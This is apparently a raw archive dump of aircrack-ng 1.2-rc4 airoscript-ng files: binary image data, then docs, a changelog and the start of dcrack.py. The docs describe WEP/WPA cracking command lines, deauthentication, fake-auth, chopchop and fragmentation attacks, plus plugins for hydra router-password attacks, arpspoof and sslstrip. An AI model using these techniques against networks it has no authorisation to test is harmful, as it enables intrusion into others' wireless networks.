Ñ8mŸÝ¡2K¹ZÒ´$,ÚÀ´”dG3ejko~;ÃñÏÍ+1þÜZ/z3õ…öõÍ×öÍí—îêNùgÊÑTw–¦Š,vVÛcQ\3š¶Ñž[ñv„­©ÔÄ¡peýÌ Ë´ ¥¸ 1—ŽÔz 1?o|1£ž‰çâR¯ã°:Û­tÇí\Úvð}ï|¨c¹þXî)½PÕŽþøiÛ•§SM;á°…„1ôÔY~xÐwTæÅñ1ÑÀšæžb™âxVˆÖöfZ4£+u¥°´~ÆGXÎí«¯Œ™[\€¢‰^ÕRßÍçÈÎ{ójÞ!±ŽÊ1Í(’{–Sü×~H YІîaé#¬Oi7 ÓŽßÜʻܣîû´W/;IúáéPá_N ÿïpL‡þ»³?[mVˆóg'ð­æ°T ¹Ç ÊË?›)iùh›å[Ň)"‰ÈŒ0&Shß ‹¸](, ¥ïÿ$Ö"$w93‘-VWª¹5…ò4‹W•Ьof fÖ¯¬ZZ.ß^9u3¯.§–Qñ5Ò+À:Œm~\¢E=n@YÅÎëDÑP«03²Ÿ„Ú2îpD„/—î‘¿‹H×6™Žx«€|üîìÕ³yk-”ª|áÛ‰uWÅÌÚ9NìájV`~tô¥¼Ð5á¯ÝβÁ¢¦Ò+’dÙRR³ èN±Í»ÇtžaoôƒSRpûYÿ¤daÀJÖ!»ÂÒÎ%"KºE¬–’t“¸åÌꚊ@³¨‰ðYcÁh"ô`A( Ys'ô}@G¦g>ÌÒR7vlã‰m¯´6+µ¬îbágwÕøìÕ—ãÉòK3:ÿúüfªfÓjñõÕòûéõÍbzq1;¿òEqqãÕd93ÅÒmF—‹¥Å]Tvæ—j~ö­A?_ÐØx¯9Y^MŒ¢¬Ù´E;ÿ’¾´ŠúÝ5WcnŠF»˜GÝ®Ôú!O&.kEȺ4F¬6P“) ˜ÕsQ篔o 5«ìt¹²VmÆ‹›ùPݕշ-èÍ¢4£«iµ¼šþãx1šL¿=¿ªÎç#«Î¿¾º¹»ðw‹_Ÿ½^·©Öxi-mPxŽ`”ÒUàGEÐ[1‡.KhG³ºs‚ -ÖÄq7s^µDŒrcãÎa©… DkF0`,üe!#]Ю]X¬o¦ÖÏ#°‹Z9¨*½ü³-Æ3F¡ÔÞ¸šY¸!ÿ¯‰Ñ:v[¢ÒhôÄœ z-eÜ¡uêtéºC¦º…–ØZKொy™ 'b±îJï¿9ÃF›”yºeâTÖpW i’Ý\K:`g#ÐåA‚µ¼w3Ý”2/A®ñ€ÚÆéÊm–íIp{Ü@CókŸ„ÑT°»vR¦(!"Ü–zN¨ ‹å°[±5l‡[ie¥»}l"Q) ˆ@“•" £»ëˆ@”¬!I&û¨]æñkêëÎâ êo¤ [4¦rî*ÇïÅVB04?«Œ @ø\ ¦H­qR)‹w6Y%Y‘QË™ŒšgDÏl–ÆíÜ©hÔ¾ßÌ1Ó÷ñÏEÅ»; €„Ð2F]h²¾x5m.GîWÖðŠ§ ,ÔxïçDÑo/sL~¬nž…™XàWWŽÜí¨-. ͨR¥)àºq°4´Ÿ Ù6· Y¿í ãì›PÃüÑE#¦@vÔˆP~uö`’çùÜ.”·ìxP=eLi lþšÈû,ià°Ï=ùõtèù%ùSŸê(Oâú¼®ãé`ô’¶§^h׿-åþuÇÔ[îwimá—:ˆ@ûmÀn¼ ±¤2¿Û§ÜuuJïd ÿr’:¾ÿ,a[oy8$Û ÜëPWŸ†M8pýHòr°±Û²mmK‰kÃBÀC,û‘7”ˆx#€ÐØë³\Ë;-µÐw}Þu×vXžé÷ÿÜÆSèéøyŠýð¢û_Ô¿qÃv8…aÞQ’á#SÇïÂ_äé©{ùŸwûwÛÓþôŸÞß?¾sìï§^ûÁžâñð‘{NÝ®¾¥~ŸÜ0ls¡ß]î!oóíº{ºýpOß½Ùßÿ£¤üÓ›Ûíú[ÿÇ¡~9É®|ä§°Mï²;…Ó~ØSzHŸöáþ6¾ë߯e•Žý'¹¯ˆz Í_!w¡®#q›ÃAÛÇúìJœ]Í¡‰ Bk÷b¨;TГL i¶E+cÒ/$Ù׎lªç8ƒxË2Ÿ+|~£*²óBEç†\µä™2$¸C óÚF]š^ç& HЄ¯%ëš¾³dbµ©›ËRcˆ*š !éŽX_U©G„Ë(¦™GÍ… ‘TŒ„ØÞ Ö\pO…²@áÜ”T¤˜Tô¾•ÂF¬Rˆ×goE\ôé")™rÜv Я½„*ÍW¡q"'9íŽN»ø’ÃC ›Û’ mÈv½nˆ=²]CáU~Èœ¶²ÚŠâ|¿#R;jÌ óaµÃÎ¥÷i—~ íÃþÔ%¼§v_&Ýö‡SÓ®Ó1¥@Ž€tºµö%ÚÌÑÑÄxi $ …œ²ÇÔ«YJCÚJ+ôÇ@ w.'êî胘H¨â'M‰Ö”ÑØã?ùßýLn—¡/…º#æ Á»ï©·ŸØm P8õYŸ( ·éIl7à~v$=oûŸ9¸ûî$Nž´>õqL yßwÃNÖi×=ò°Mkyê>Æt:Ôïv¼7ô.¹R÷é%uòTs­WÝRïÓПÒí~ß­Á­ß¤Ì!î7@ÛL©$q”§_öµ{Ä0¤< v8 )%‚§·ÿAp³¹q˜/á${e Ii«a-%+5P…žãU¨[à¬"¢êÞjz%u MíÌFͱ7–ØÝçd#F^Fý¬ÛÉä%ò}gàø{v;À[i€o⋃+€ÉèÂxðríÕéT6<õO™)”Œd-<ÿëÔù|® :ƒ…•iャéW&D§k¡Z…¼¼¸Ø ¨ñi%)h]•¢U3”æŒp¸0«4V$ó3AHFË2Éš£‹ÄÅÔìX4gÆŠí6袯ÎPÅNŒ“‘, ‹Ð¡½¨{T(‹9¡–h«6Lí ¦U¬»ó-û&¸­ìý˃ÿ\†qCR8Ûð&àX†yûb—ºOLºˆ]tÃ9ÎcBk®»!‚ôqÀD ˆâOë;ßà MQ_b@[/Ûªð4 ~¼"ŠÃÊ£$=Nê U¤ÚÓuš¸ ¶‡@{ÇçxÉÚ¥¢{ßJŒvÉÔïXŠÄ‡ýé`‘am §ë@Ý`Bçdzã)mx§ †Á_rg£F=jÔ!¾<øb.#µô V®¬ÅFQe É€K×X™GDþ'×aeù†ëÈÚí{Óuu¶óÝÊÞÇû8Âxçë6—»áµËÝþÇa€¡æsénøójõõu ûë-þ8¸w¯ö¯÷zuÓ9züþr½zÙÅ×›ŽÍõÞ­–×›ëÍmW¯~¾ã—ŠQO#‡0pgqßÝwØÝ‹6¼‰_FÄIWâ£Ñg.ûv"Úᖠコå—íád1ý8›üC&üSUÌ?HŽÞSÒdVËEŽlj÷%8RËÀ˜´-^ Ò°#c‰ šP2Œ2cÀ?q\j'÷+cU ñ¥ò€b0ºD¾4ž 9I0‘d&¸*¨ívô°àw{Í„¤€F-ÜR0»^ËF_Ø ]¨˜KŒRNpë°ê²ËÚ”U­‚“ªi>/O&Õ™9Î+)²‹E>1‡‹/ž´ÉûY𑿹WU•%ª|¦¦³\-žÛ+OÊŠs8¬Òçê“ųD<1GZdÈJ'ù,]œ}Z=&Œ¶ª|®Œi¥2vͨ ³b.Q!Éã¯A•Àì•LS5¢"NÙ+#q&~;eÃQdG•© L[u4Ëføæ¤´ TÙÉsž\.ÔñÁ›¥ÚžãK]KÆÐ›ÕÆ8M¾ _ÃW«›°¾ÙÂøC¿l7ѯ-¹8öçcðvŲ‘)f1ßm'm ˆ&f“¤ íò/åçòÐ&"Ìž·Ê²(sûYêA–P‚±²­ÔìlRý}Ö²0Æ]dç ÷ Ü2(G€^#oÑ1nրظ£©÷·6œoìhö¼ê¬’ÛnÍi¸Q̬݇›ñw!ðz¨Žñ×w§u(0’T çö^,± L++Ï¢e;WÖY…¬ŒÊM“JðR«´DÅÊfv-Ø«…géTŸ6µ'Erž}¬º>¾0PÉ;Æ.÷ ÔVö7Þ‡.´Äñ¿íÏÓ;szP:Ù:ÁIÖrn­Ò"•ã?49±‚ÙIe” ÆÀa„© åLN& J«š*WU–¤ù‡‹&€_Z_¥ _÷ò˜GH~˜B`TýT¡uÞâ6ç:¯76~èH¢"<×w©‰öTÙÖÓÙK`eA<ƒÊ ýÜçP¦OZyöÙD™& 8NüE6±¢Á4³ *Pyv ìln|•U¥ä–5Hé…ËZ; ·ÇߟҰ¢GEˆƒŽ/§K4Ó.r7b ÝUÔpÄž?EšPÚ+iÛ˜›œ-ªD®ÿyfÑ+,-ŠîÁØŽ- êPTÊŠYåÓÄæÐ ‰žUŽ$ê„-*ÁÙ´%`ÅÕL£P÷^ÅBÀ%W¬’A¢ÕGŸ/ Tˆ•NsÑ#çªRÑã.·q‰ÈÚ42¹o¨OÁ"c¸ a‰ìÃξÓ_|©Ù™âH¢bYÕµJm:C4Y@¥Äô5c8’ìj¸æ×ÈÐk,†´‘: UµÍO{6®×‘[4Ç 7X¶ l_H¬Ý—¶ A©Ú‡|ʶ¨ç8_Re•©­PÓ--ñ,C&Ú; Û‡~Ml9 S*ÈÛô¥¡¹‚â)ìÑSW±wAŠ/þŽ[¿ÍÀªãFµGÜ*[y¥þ-&QñôàÚZƯœFÇ0·G¸íõrçÞtá÷Á¶›_n_ï/¯Ûý»Õv³çÕý~9¾}\î~/7Áߡǯ6›ëÇwýíw? ÿ÷ú§ÿøáñÕê»ÿq×—¿»ýÛŠ®ÿÆ·ûñ‡ŸÆËÍ_ßþôó/4®¶úÝ¿ÿò¸)þøúò7»îuÜþþ¿¾Zþf÷êaÜ_ìßnÎß½Úüq|5þæ»ÿ}¤åO«?oï¯/‡¯þº‹Ãwwã6œ¿ýy3ìÇâúöüîõ[º÷ûÍfôåðh6±~C€Ñwcç:o¿ÑcåyþÿîÑ¢î^«ÏëIEND®B`‚aircrack-ng-1.2-rc4/scripts/airoscript-ng/doc/rst/Makefile0000644000000000000000000000062311662075456022223 0ustar rootrootall: install install: @echo "\t Installing html documentation" @$(INSTALLDATA) *.html $(docdir)/html @$(INSTALLDATA) images/* $(docdir)/html/images/ build: @echo "\t Building html documentation from rst" @for i in *.rst; do rst2html $$i --link-stylesheet --stylesheet=css/stylesheet.css $$i.html; done uninstall: @echo "Removing html documentation from $(docdir)/html" @rm -r $(docdir)/html aircrack-ng-1.2-rc4/scripts/airoscript-ng/doc/rst/crack.rst.html0000644000000000000000000000401611711531302023321 0ustar rootroot Crack

Crack

This section defines cracking menu.

Note: If "pipe" variable is set, it will be executed and piped into aircrack-ng (that's the way the john the ripper plugin works, actually)

Note: If writekey variable contains a set of commands to write the key to a file (wich is default on auto)

WPA Crack

It will execute attacks against a wordlist.

WEP Crack

Default

Executes aircrack-ng with the following options

"$pipe $AIRCRACK -0 -a 1 -b $Host_MAC -f $FUDGEFACTOR -l $DUMP_PATH/$Host_MAC.key -0 -s $DUMP_PATH/$Host_MAC-01.cap $crack_extra_opts $writekey"; $clear; break ;;

Korek

Executes aircrack-ng with the following options

AIRCRACK -0 -a 1 -b $Host_MAC -f $FUDGEFACTOR -l $DUMP_PATH/$Host_MAC.key -0 -s $DUMP_PATH/$Host_MAC-01.cap -K $crack_extra_opts $writekey

Interactive

Same as default, except that it allows you to enter personalized fudge_factor and enc_size.

Executes aircrack-ng with the following options:

::
AIRCRACK -0 -a 1 -b $Host_MAC -f $FUDGEFACTOR -l $DUMP_PATH/$Host_MAC.key -0 -s $DUMP_PATH/$Host_MAC-01.cap -K $crack_extra_opts $writekey
aircrack-ng-1.2-rc4/scripts/airoscript-ng/doc/rst/others.rst.html0000644000000000000000000001525611711531302023552 0ustar rootroot Others menu

Others menu

This menu contains all not-frequently used (but nice) options.

Airoscript options

This menu provides with a set of airoscript-ng configuration options, wich can be changed after startup.

  • Change / reset interface
  • Change interface MAC
  • Enable monitor mode
  • Change dump path
  • Try to configure network

External plugins

Here, plugins enabled in config or startup parameters will have its menus. Each plugin gets itself into menu by adding its menu entry directly to ${plugins_menu} array, this way:

plugins_menu+=("This is the menu entry");

And then creating a function, composed by the menu name, replacing spaces by underscores.

::

This_is_the_menu_entry(){

# Here do stuff

}

For more info on plugin creation you can have a look at the manual page.

Advanced tools

Advanced aircrack-ng tools (not frequently used), aircrack-ng tools that are available in a less-customizable manner in other menus, and diagnostics tools are presented here.

Injection

Chop chop and fragmentation attacks. Those are only usable when you already have xor files.

About chopchop attack (got from aircrack-ng wiki):

This attack, when successful, can decrypt a WEP data packet without knowing the key. It can even work against dynamic WEP. This attack does not recover the WEP key itself, but merely reveals the plaintext. However, some access points are not vulnerable to this attack. Some may seem vulnerable at first but actually drop data packets shorter that 60 bytes. If the access point drops packets shorter than 42 bytes, aireplay tries to guess the rest of the missing data, as far as the headers are predictable. If an IP packet is captured, it additionally checks if the checksum of the header is correct after guessing the missing parts of it. This attack requires at least one WEP data packet.

About frag attack (got from aircrack-ng wiki):

::
This attack, when successful, can obtain 1500 bytes of PRGA (pseudo random generation algorithm). This attack does not recover the WEP key itself, but merely obtains the PRGA. The PRGA can then be used to generate packets with packetforge-ng which are in turn used for various injection attacks. It requires at least one data packet to be received from the access point in order to initiate the attack.

Autentication

This will provide Fake auth and Deauth attacks.

Fake auth attack, from aircrack-ng wiki:

The fake authentication attack allows you to perform the two types of WEP authentication (Open System and Shared Key) plus associate with the access point (AP). This is only useful when you need an associated MAC address in various aireplay-ng attacks and there is currently no associated client. It should be noted that the fake authentication attack does NOT generate any ARP packets. Fake authentication cannot be used to authenticate/associate with WPA/WPA2 Access Points.

Deauth attack, from aircrack-ng wiki:

This attack sends disassocate packets to one or more clients which are currently associated with a particular access point. Disassociating clients can be done for a number of reasons:
- Recovering a hidden ESSID. This is an ESSID which is not being broadcast. Another term for this is “cloakedâ€.
- Capturing WPA/WPA2 handshakes by forcing clients to reauthenticate
- Generate ARP requests (Windows clients sometimes flush their ARP cache when disconnected)
- Of course, this attack is totally useless if there are no associated wireless client or on fake authentications.

Operations with ivstools

Makes it possible to merge ivs (with ivstools) from either one airoscript session or all the previous saved ones.

Decloak packages

Launches a nice selection menu about airdecloack-ng options.

::
Airdecloak-ng is a tool that removes wep cloaking from a pcap file. Some WIPS (actually one) actively “prevent†cracking a WEP key by inserting chaff (fake wep frames) in the air to fool aircrack-ng. In some rare cases, cloaking fails and the key can be recovered without removing this chaff. In the cases where the key cannot be recovered, use this tool to filter out chaff.

Create virtual interface with airtun-ng

Creates a virtual interface with the cracked wep key using airtun-ng.

Diagnostics and reports

This menu makes airgraph-ng reports.

Auto crack wep with wesside-ng

Launches wesside-ng to try to auto-crack the network.

Wesside-ng is an auto-magic tool which incorporates a number of techniques to seamlessly obtain a WEP key in minutes. It first identifies a network, then proceeds to associate with it, obtain PRGA (pseudo random generation algorithm) xor data, determine the network IP scheme, reinject ARP requests and finally determine the WEP key. All this is done without your intervention.

Easside-ng

An auto-magic tool which allows you to communicate via an WEP-encrypted AP without knowing the key .. _easside-ng at aircrack-ng wiki: http://www.aircrack-ng.org/doku.php?id=easside-ng

aircrack-ng-1.2-rc4/scripts/airoscript-ng/doc/rst/resolution.rst0000644000000000000000000000000011662075456023505 0ustar rootrootaircrack-ng-1.2-rc4/scripts/airoscript-ng/doc/rst/attacks.rst0000644000000000000000000000000011662075456022734 0ustar rootrootaircrack-ng-1.2-rc4/scripts/airoscript-ng/doc/rst/plugins.rst0000644000000000000000000000055711662075456023004 0ustar rootrootAiroscript plugin system ========================= Main rules ----------- * Airoscript plugin system is quite easy to understand. * Each plugin can modify airoscript's inner behaviour or add a menu entry on plugins' section. * Each plugin's name corresponds only to its deps, as each plugin can only use ONE external program (but plugins can depend on each other). aircrack-ng-1.2-rc4/scripts/airoscript-ng/doc/install0000644000000000000000000000043112201437473021330 0ustar rootrootRequirements (Deps) =================== Deps: +++++ | ip (iproute package) | aircrack-ng (same version as airoscript-ng) | bash ( >4.0 ) | iproute ( /bin/ip ) Recommended ++++++++++++ | digenpy ( http://github.com/XayOn/Digenpy ) # Depends on python 2.6 | mdk | macchanger aircrack-ng-1.2-rc4/scripts/airoscript-ng/doc/Readme.rst0000644000000000000000000001316711776654501021711 0ustar rootroot=============== Airoscript-ng =============== --------------------------------------------- User interface to aircrack-ng --------------------------------------------- :Author: This manual page was written by David Francos :Date: 2011-11-17 :Copyright: David Francos Cuartero :Version: 1.1 :Manual section: 1 :Manual group: net SYNOPSIS ======== airoscript-ng [-h] [-t TERMINAL] [-v] [-w WIRELESS_CARD] [-b] [-m fakemac|realmac] [-a] [-n FILTER] [-x] [-z] [-p PLUGIN_FILE] DESCRIPTION =========== Airoscript is a complete user interface for aircrack-ng. It gives you almost all functionality that aircrack-ng has, allowing you to save some time from writting commands. Writing commands may be good to learn how does it work, but repeatedly doing so can damage your mind and your body. Airoscript also provides a comprehensive way to generate CEO-readable network security reports, writable (by wkhtml2pdf plugin) as pdf. OPTIONS ======= -h Show this message -t terminal Specify terminal (xterm or screen) -v Verbose & debug mode -w wireless_card Specify wifi card -b Writes a csv file with network data. -m mac_mode Change mac to fakemac before everything else. (mac mode can be fakemac or realmac) -a Automatic mode -n regex Filter SSID by regex -x Autoconfigure network after automatic crack (requires -a) -z Don't scan automatically at start Examples ======== Crack the first of all my test networks using my own mac :: airoscript-ng -w wlan0 -m realmac -n "XayOnTest_(.*)" Try to crack any network with faked mac. Warning, this may conduct you to commit a crime :: airoscript-ng -w wlan0 -m fakemac -a .. The following one is a little bigger - It loads digenpy plugin (wich means that if a network can be cracked with a dictionary provided by digenpy, it will wait for only FOUR packages, then crack it with dict) - It forces to use xterm interface (wich, by the way, is the default stuff) - Uses wlan1 as interface - Writes a csv file with the network data for posterior analysis - Uses your real mac - Starts debugging mode (it just prints out more information than usual (ugly as hell, meant for dev)) - Autoconfigures network after cracking. This SHOULD NOT DO ANYTHING IN THIS EXAMPLE (auto mode), as at the end of automatic mode, it already asks you to configure it. airoscript-ng -t xterm -v -w wlan1 -b -m realmac -a -n "XayOn_" -x -pdigenpy Developers ========== | Help and feedback is greatly appreciated. | Please feel free to mail XayOn at xayon@xayon.net Compliance ========== In the wrong hands, airoscript and aircrack-ng could easily violate the government certification of your radio. A simple example of this is running injection on frequencies your radio isn't certified for in your geographic region. You and only you are responsible for making sure that your tools *including* *airoscript* are compliant with the regulations in your country and region. Bugs and feature requests ========================= Please submit bugs in aircrack-ng trac or aircrack-ng oficial forum "airoscript support" subforum. Menu usage ========== Airoscript-ng menu is quite intuitive, and it's documented in the html docs. Since version 1.1 is able to queue commands, that is, you can tell it to do 1 then 2 in a menu just by entering "1 2" (without the quotes). Configuration ============= There are 2 configuration files, airoscript-ng.conf and airoscript-ng_advanced.conf that are well explained within them. .. this is for the manpage, sorry for the inconvenience .. include:: doc/install Plugin support ============== Airoscript supports plugins, shell scripts listed in enabled_plugins on airoscript configuration (use the full path there). Since svn revision 1969 airoscript-ng has a plugin menu, wich will make you able to enable any plugin after airoscript has been started just by selecting it. Currently (at 1991) the plugin list that comes out with airoscript is: - arpspoof --> Enables arp spoof menu - digenpy --> Enables digenpy dictionary generator for cracking - dsniff --> launches dsniff (better use it with arpspoof and sslstrip) - hydra --> Configures network, then launches hydra to get router password - iptables --> Configures iptables to redirect trough it (needed for arpspoof sslstrip) - johntheripper --> Enables john the ripper to generate password lists for cracking WPA - mdk3 --> Enables mdk3 menu - sslstrip --> Enables sslstrip menu - tcpdstat --> When making a report, includes tcpdstat's protocol statistics - wkhtmltopdf --> Converts reports to pdf - zenity --> Enables a zenity-based graphical interface for airoscript-ng (needs also libnotify-bin) - pyrit --> a raw interface for pyrit, requires pyrit knowledge Creating a plugin ================= For a plugin to add a menu entry, you'll have to set $plugins_menu["Title of the menu you want to use"] to an array of the entries you want to add. Have a look at http://xayon.net/adding-nessus-support-to-airoscript/ for a more complete tutorial. SEE ALSO ======== .. _airoscript-ng homepage: http://airoscript.aircrack-ng.org/ .. _airoscript-ng google code: http://code.google.com/p/airoscript .. _XayOns blog: http://www.xayon.net | airoscript.conf(1) | airdecap-ng(1) | airdriver-ng(1) | aireplay-ng(1) | airmon-ng(1) | airodump-ng(1) | airolib-ng(1) | airsev-ng(1) | airtun-ng(1) | buddy-ng(1) | easside-ng(1) | ivstools(1) | kstats(1) | makeivs-ng(1) | packetforge-ng(1) | wesside-ng(1) | aircrack-ng(1) aircrack-ng-1.2-rc4/scripts/airoscript-ng/doc/changelog0000644000000000000000000003036211661246422021620 0ustar rootrootChangelog for airoscript-ng 1.2 - Renamed version 1.2-3 to 1.2 (It's a mess, but I 1.2-3 must have been 1.2-rc1) - Improved usability - Fixed bugs on argument parsing. - Added --ignore-negative-one to all aircrack-ng commands - Added a new reporting system that generates html and pdf with kstats and airgraph-ng support - Virtual interface deletion is automated upon exit (by a trap). You can kill airoscript with ctrl-c now safely - Improved autocrack system - Added (experimental and brief) pyrit support - Added "developement mode" - Fixed resolution detection so it will work on any resolution - Added a plugin menu to hotplug plugins - Added an hydra plugin (autocrack for router default passwords) - If there's a network cracked, it'll ask for creating a report upon exit - Added autopawn functionality - Added plugins system - Added sslstrip plugin (experimental) - Added zenity graphical interface (as plugin) - Added digenpy plugin - Deleted old dictionary generators - Added john the ripper plugin - Fixed WPA cracking - Fixed some wep options - Made auth functions less verbose - Added autoconfigure option in arguments - Updated airoscript-ng manpage - Fixed some broken options - Added a nice startup coloured ascii art logo - Fixed zenity plugins's autoscan dialog. - Fixed client selection menu Changelog for airoscript-ng 1.1 - Refactorised almost all functions - Fixed changing mac address - Rewrote airoscript-ng script to be more readable - Autoscan function at start. - Reordered options menu - Fixed menu creator function, now all menus can safely depend on this - Added loader function for config files and external files, to make it prettyer - New theme "minimal" is default now. - Configuration made much simpler. - Pmk databases from airolib-ng support - Decloaking support with airdecloak-ng - Added an option to create a virtual interface with airtun-ng - Kstats support - Airdecap-ng support - Some beauty colouring - Now you'll have to select a network at start - Fixed dictionary issues, now it's much simpler to add a dictionary generator. - Added automatic network configurator - Remade fake and auto auth menus into an "authentication" menu - Fixed the injection options (didn't work until now) - Support for PMK database - Support for custom commands (It'll ask you for extra options *in every command it executes*! use carefully!) - Lots of lil bugfixes on interface and cracking stuff - Fixed cracking WPA - Added a warning when wpa cracking - Fixed wpa handshake standard airodump-ng attack - Added Automatic network cracking option - Added cli interface - Using xhost to automatically setting resolution - Refactorished menu function, it's creating real nice menus now with shell scape codes - Same with target selection menu - Added an option to rescan for targets in starting auto scan. - Added airtun tool menu to airoscript - Code is now splitted in a more usable and editable way - Fixed menu function to work as expected - Some changes to make plugin generation way easier - Added airoscript-ng logo - Added source dependences, so we're not loading everything from the beggining - Made it all Changelog for airoscript-ng 1.0: - Fixed client selection menu - External functions now works - Fixed regex that breaked iw2200 - Fucking dos line endings in makefiles. - Lots of minor changes - Cosmetics on non-existant unstable functions - Splitted some functions from menu here - Code cosmetics on screen functions - Cleaner menu code - Refactoring on mac changer and cosmetics - Even more cosmetics, converted all menus to new styles - Little bugfix on menu - More cosmetics, some debug bugfixes - Little cosmetic on order of airoscript warn - Little themes fix on conffile - Cosmetics - Added initial usage warning - Minor fixes on config and screen functions - Changed airoscript-ng.sh to airoscript-ng - Splitted functions_internal from main functions file - Some aspect changes - Functions cleanup - improved airopdate - Refactorized external functions. Still untested. - Makefile minor fixes. Prev was conf fix - Some makefile minor fixes - Converting to airoscript-ng and cleaning shit - Some minor doc fixes - Now it won't only check if wifi is empty, also if wifi is in form fooo0. - Identified bug with iwl interfaces, waiting for feedback from reporter Changelog for airoscript 2.2 - Updated licenses on all documents (closes: ) - Bugfixes (lots) on airoscfunc.sh - Added airoswordlist.pl for automatising wordlist creation. - Added airosconf.sh for airoscript configuration modify trought command line - Added a initial display message advertising of airoscript use. - Added support for airserv-ng - Added tkiptun basic support - Support for a different interface for injection - Added more options to conffile. - Compatibility with cygwin - Added interactive mode, a more verbose airoscript mode. - More flexibility for fake auth stuff when doing other attacks. - Some rt61-oriented bugfixes. For instance it now changes the mac correcly. - Force user to pay more attention to macs asking to change mac to multiple mac options. - Added a "special case" terminal: GUI, so if gui is selected as terminal, airosperl will be executed as described in ticket (#123). Changelog for airoscript 2.1 - Bugfixes on terminal titles. - Now you can especify a terminal without editing config by passing it as parameter ( airoscript terminal ) - Added patches for debian-packaging wifislax and wifiway conffile - Added ~/.airoscript/ directory, where config can be stored, as .airoscript.screen-has-started and wordlist. - Now it cd's to DUMP_PATH so all residual data will remain there not in `pwd` - Added unstable functions file, and moved current one to a "external functions" file, since it requires from external binaries not aircrack-related. - Added unstable option in menu (only appears when unstable activated on config) - Added external functions to menu (same as unstable, only when activated on config) - Modified paths to /usr/local/ as it should be. - i10n upgrades for spanish. Changelog for airoscript 2.0.12 - Added real screen support - Corrected lots of bugs with i10n - Corrected bug in wlandecrypter bug - Modified CDCMD to write in a logfile (Not working, deleted) - Changed config so it whould not use unstable functions by default - Corrected lots of bugs in makefile, like having 755 permisions for screenrc file, $DESTDIR problems - Corrected more quoting problems :-) - Added support for jazzteldecrypter Changelog for airoscript 2.0.11 - Changed interface. Now it looks nicer. - Now it advises you if you don't have some optional thing installed and try to exec it. - It doesnt allow you to do something if you've had to do something else before and you haven't (for example, doing a selection (2) befora a scan (1) - Corrected some bugs - Added support for gettext - Added support for wlandecrypter - Added an "Auto" function - Added a "exit" function, asking user if he wants delete temporary directory and/or stop monitor mode on selected interface. - Code cleaned and reorganised. - Corrected lots of things in makefile - Added a "critical debug command" (well... it echoes every terminal command instead of executing it, for terminal related errors) Changelog for airoscript 2.0.10 - Here I come, I (XayOn) started here ;-). - Added multiple terminal support - Added theme support - Added config file support - Added aleatory temp dir creation - Wrote a makefile for airoscript - Corrected bug #521 (airopdate rt61 bug) Changelog for airoscript 2.0.9 -fixed client and clientless attacks chopchop and frag packet injection not generating IVs because -h MAC was not set -force frag, chopchop and aircrack-ng xterms to stay on screen after successfull command so you can see results -cleaned the code some more -cleaning functions needs more tweaks -atheros users need to use options 9 (monitor mode) before other commands to create-destroys correct VAPS -fixed "unary operator expected" msg (harmless bug) (not fully fixed because of "" generating errors in logic tests) -tweaked 2 steps attacks (frag, chopchop) to go to menu to inject after successfull first step -added option to jump to injection menu (added this to the main menu) -fixed AP encryption detection for cracking step (bug was introduced by "") -lowered adapter speed to 1M for wesside-ng attacks -added -hold to mdk attack to allow users to see results before the windows closes Changelog for airoscript 2.0.8 (27/01/2008) -added wesside-ng airoscript style usage -added interface type detection -tweaked menu -first attempt at making airoscript work with different adapters (add more card support)(BIG THX TO GREEN-FREQ!!!) -atheros device are now supported -added mdk3 -added back to main menu options -fixed chopchop attack (BIG THX TO GREEN-FREQ!!!) -tweaked FAKE_MAC function for atheros Changelog for 2.0.7b1 (21/01/2007) -changed capture from IVs to full date (ivs to cap) -updated script for new implementation of fragmentation attack -other minor modifications and tweaks Changelog for PRE-1.8.2-BETA1 (30/11/2006) -fixed all commands leading to : "head: Binary: invalid number of lines" (MAJOR THX TO ANDREA) -fixed all commands where SSID was truncated (MAJOR THX TO PILOTSNIPES) Changelog for airoscript 1.8.1 (03/11/2006) -bug fix release -fixed some problem in the SSID detection function (MAJOR THX TO andreahaku) -cleaned a few more typos and bugs -documentation completed a bit Changelog for airoscript 1.8 (17/10/2006) -dropped support for aircrack-ng 0.6.1 and older -will only work with patched version of aircrack-ng 0.6.2 (patches can be found in the forum under the programming section) -specifique channels hopping (for example channel 1,6,11 or 1-3,5-7,9,11) -Access point filtering during attack (airodump will only list attacked Access point) -new SSID detection, works with ALL ssid (supports all character and spacing possible) -new Access point selection menu that list all AP with encryption type (eliminates the WEP? problem) -option 2) now get you directly to a full list of AP -chopchop attack and fragmentation attack implement -WPA dictionnary attack implemented -changed menu 3,4,5 based on detection of AP encryption -added option to jump to associated client list from ap selection -color change support for xterm -Windows size and placement fully changeable from variables settings -changed filenames from SSID to MAC because of possible issues if weird SSID (to eliminate security menace (if SSID is something like "rm -rf /*" etc...) -added option an option to run "1) scan 2) select 3) attack" one after the other -added some comments in the script to help users -added greetings message (can be disabled setting WELCOME="1" to "0") Changelog for airoscript 1.7RC7 (24/09/2006) -added some resilience to the configure function now works properly with hidden ssid's and rausb devices Changelog for airoscript 1.7RC6 (19/09/2006) -Code cleanup -added deauth command to solointeractiveattack function -changed base variables (fudge factor & inject rate) Changelog for airoscript 1.7RC5 (14/09/2006) -Fixed minor cosmetic issue caused by carriage return char when ssid is missing (15/9/06) -Fixed the weird character match issue!! edit at will!!! -added an abitrary variable ($acv) to the aircrackversioncheck function which can be used in future to keep the script backwards compatible (had to guess at what version 0.6.0 of aircrack-ng displays when run on it's own? and version 0.5.so might not work??) -used new variable in crack function to check version and run correct crack command for the aricrack version installed fixing the bug on the B|T forum. Changelog for airoscript 1.7RC4 (13/09/2006) -corrected minor speellling issues ;o) -added aircrack-ng version detection function currently all it does is display aircrack version in the menu function (should be useful when new functionality is added to aircrack to allow backwards compatibility) -added solointeractiveattack function (designed to run just the airreplay interactive attack function only for use with an attack that has stalled i.e. data has stopped increasing, the user can try this for another injection thread! (might not actually work?? needs more testing does spawn and seems to work!) -added option to manually add ssid if a blank ssid is detected (this has some problems when certain editors are used as this is not strictly blank but a non printable character recommend kwrite on Back|track to edit script) aircrack-ng-1.2-rc4/scripts/dcrack.py0000644000000000000000000004260312140324531016211 0ustar rootroot#!/usr/bin/python import sys import os import subprocess import random import time import sqlite3 import threading import hashlib import gzip import json import datetime import re if sys.version_info[0] >= 3: from socketserver import ThreadingTCPServer from urllib.request import urlopen, URLError from urllib.parse import urlparse, parse_qs from http.client import HTTPConnection from http.server import SimpleHTTPRequestHandler else: from SocketServer import ThreadingTCPServer from urllib2 import urlopen, URLError from urlparse import urlparse, parse_qs from httplib import HTTPConnection from SimpleHTTPServer import SimpleHTTPRequestHandler bytes = lambda a, b : a port = 1337 url = None cid = None tls = threading.local() nets = {} cracker = None class ServerHandler(SimpleHTTPRequestHandler): def do_GET(s): result = s.do_req(s.path) if not result: return s.send_response(200) s.send_header("Content-type", "text/plain") s.end_headers() 